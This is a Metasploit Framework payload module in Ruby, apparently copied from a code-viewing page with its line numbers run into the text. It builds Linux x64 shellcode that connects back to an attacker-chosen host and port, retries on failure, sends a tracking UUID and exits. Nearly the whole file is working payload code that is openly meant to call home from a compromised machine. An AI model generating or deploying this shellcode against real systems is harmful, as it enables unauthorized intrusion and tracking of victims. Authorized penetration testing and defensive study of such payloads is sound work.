Path: blob/master/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 12578include Msf::Payload::Linux::X64::Prepends9include Msf::Payload::Single10include Msf::Payload::Pingback11include Msf::Payload::Pingback::Options1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'Linux x64 Pingback, Reverse TCP Inline',18'Description' => 'Connect back to attacker and report UUID (Linux x64)',19'Author' => [ 'bwatters-r7' ],20'License' => MSF_LICENSE,21'Platform' => 'linux',22'Arch' => ARCH_X64,23'Handler' => Msf::Handler::ReverseTcp,24'Session' => Msf::Sessions::Pingback25)26)27end2829def generate(_opts = {})30# 22 -> "0x00,0x16"31# 4444 -> "0x11,0x5c"32encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack('N').first33encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack('V').first34encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })35retry_count = [datastore['ReverseConnectRetries'].to_i, 1].max3637self.pingback_uuid ||= generate_pingback_uuid38uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')39seconds = 5.040sleep_seconds = seconds.to_i41sleep_nanoseconds = (seconds % 1 * 1_000_000_000).to_i4243asm = %^44push #{retry_count} ; retry counter45pop r946push rsi47push rax48push 0x2949pop rax50cdq51push 0x252pop rdi53push 0x154pop rsi55syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)56test rax, rax57js failed5859xchg rdi, rax6061connect:62mov rcx, #{encoded_host_port}63push rcx64mov rsi, rsp65push 0x1066pop rdx67push 0x2a68pop rax69syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)70pop rcx71test rax, rax72jns send_pingback7374handle_failure:75dec r976jz failed77push rdi78push 0x2379pop rax80push 0x#{sleep_nanoseconds.to_s(16)}81push 0x#{sleep_seconds.to_s(16)}82mov rdi, rsp83xor rsi, rsi84syscall ; sys_nanosleep85pop rcx86pop rcx87pop rdi88test rax, rax89jns connect9091failed:92push 0x3c93pop rax94push 0x195pop rdi96syscall ; exit(1)9798send_pingback:99push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID100pop rdx101call get_uuid_address ; put uuid buffer on the stack102db #{uuid_as_db} ; PINGBACK_UUID103104get_uuid_address:105pop rsi ; UUID address106xor rax, rax107inc rax108syscall ; sys_write109110jmp failed111^112Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string113end114end115116117